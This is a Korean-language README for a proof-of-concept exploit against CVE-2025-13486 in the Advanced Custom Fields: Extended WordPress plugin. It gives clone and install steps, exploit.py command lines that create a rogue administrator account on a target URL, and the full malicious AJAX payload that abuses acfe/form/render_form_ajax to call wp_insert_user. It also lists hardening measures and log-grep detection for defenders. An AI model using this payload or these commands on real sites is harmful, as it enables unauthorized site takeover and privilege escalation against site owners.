
Advanced Custom Fields Extended (ACFE) WordPress Plugin Exploit RCE - 관리자 생성
CVE-2025-13486에 대한 개념 증명 익스플로잇입니다. Advanced Custom Fields: Extended (ACFE) WordPress 플러그인의 치명적인 취약점으로, 원격 코드 실행을 통해 권한 상승이 가능합니다.
| 항목 | 세부 내용 |
|---|---|
| CVE ID | CVE-2025-13486 |
| 플러그인 | Advanced Custom Fields: Extended (ACFE) |
| 유형 | 원격 코드 실행 → 권한 상승 |
| 위험 수준 | 치명적 |
| 영향을 받는 버전 | ACFE 취약 버전 (구체적 버전 미정) |
| CVSS 점수 | 9.8 치명적 |
| 발견 날짜 | 2025 |
| 작성자 | 0xgh057r3c0n |
⚠️ 경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.
✅ 허용되는 사용:
❌ 금지되는 사용:
작성자는 이 도구의 오용에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 서면 승인을 받으십시오.
print_r 함수를 사용한 취약점 확인wp_insert_user를 통한 관리자 사용자 생성requests 라이브러리# 저장소 복제
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# 의존성 설치
pip install requests
# 또는 requirements.txt에서 설치
pip install -r requirements.txt
# 스크립트 실행 가능하게 설정 (Linux/Mac)
chmod +x exploit.py
requirements.txt 파일 생성:
requests>=2.25.1
python3 exploit.py --url <대상_URL> [옵션]
python3 exploit.py --url http://target.com --verify
python3 exploit.py --url https://target.com
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email [email protected]
python3 exploit.py --url target.com --verify
익스플로잇은 ACFE 플러그인의 acfe/form/render_form_ajax 엔드포인트에서 함수 처리가 부적절하게 이루어지는 점을 이용하여 공격자가 임의의 PHP 함수를 호출할 수 있도록 합니다.
1. URL 검증 → HTTP/HTTPS 자동 감지
2. Nonce 추출 → 페이지에서 ACF nonce 스캔
3. 페이로드 구성 → 악성 AJAX 요청 생성
4. 요청 실행 → 대상에 익스플로잇 전송
5. 결과 분석 → 성공 표시기 확인
// ACFE의 취약한 코드 패턴
$result = call_user_func_array($form['render'], array($form));
// 익스플로잇 페이로드 구조
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "[email protected]",
"form[role]": "administrator"
}
# 권장 보안 플러그인
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# 서버 수준 보호
- 속도 제한 구현
- mod_security 규칙 활성화
- Cloudflare 또는 유사 CDN 사용
- 정기적인 보안 감사
/wp-admin/admin-ajax.php에 대한 의심스러운 AJAX 요청action=acfe/form/render_form_ajax를 포함한 요청wp_insert_user 함수 호출# Apache 로그
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress 디버그 로그
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)버그 및 문제는 다음을 통해 보고해 주세요:
CVE-2025-13486/
├── exploit.py # 주 익스플로잇 스크립트
├── README.md # 본 문서
├── requirements.txt # Python 의존성
├── LICENSE # MIT 라이선스 파일
├── examples/ # 사용 예제
│ ├── verification.txt
│ └── exploitation.txt
└── tests/ # 테스트 스크립트
├── test_verify.py
└── test_exploit.py
0xgh057r3c0n - 보안 연구원
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
보안 커뮤니티를 위한 ❤️로 제작됨
⚠️ 책임감 있고 윤리적으로 사용하세요 ⚠️
| 옵션 | 설명 | 필수 | 기본값 |
|---|
-u, --url | 대상 WordPress URL | 예 | - |
--verify | 확인만 수행, 익스플로잇 없음 | 아니요 | False |
--user | 관리자 사용자 정의 사용자 이름 | 아니요 | admin_XXXXX |
--password | 관리자 사용자 정의 비밀번호 | 아니요 | 무작위 12자 |
--email | 관리자 사용자 정의 이메일 | 아니요 | [email protected] |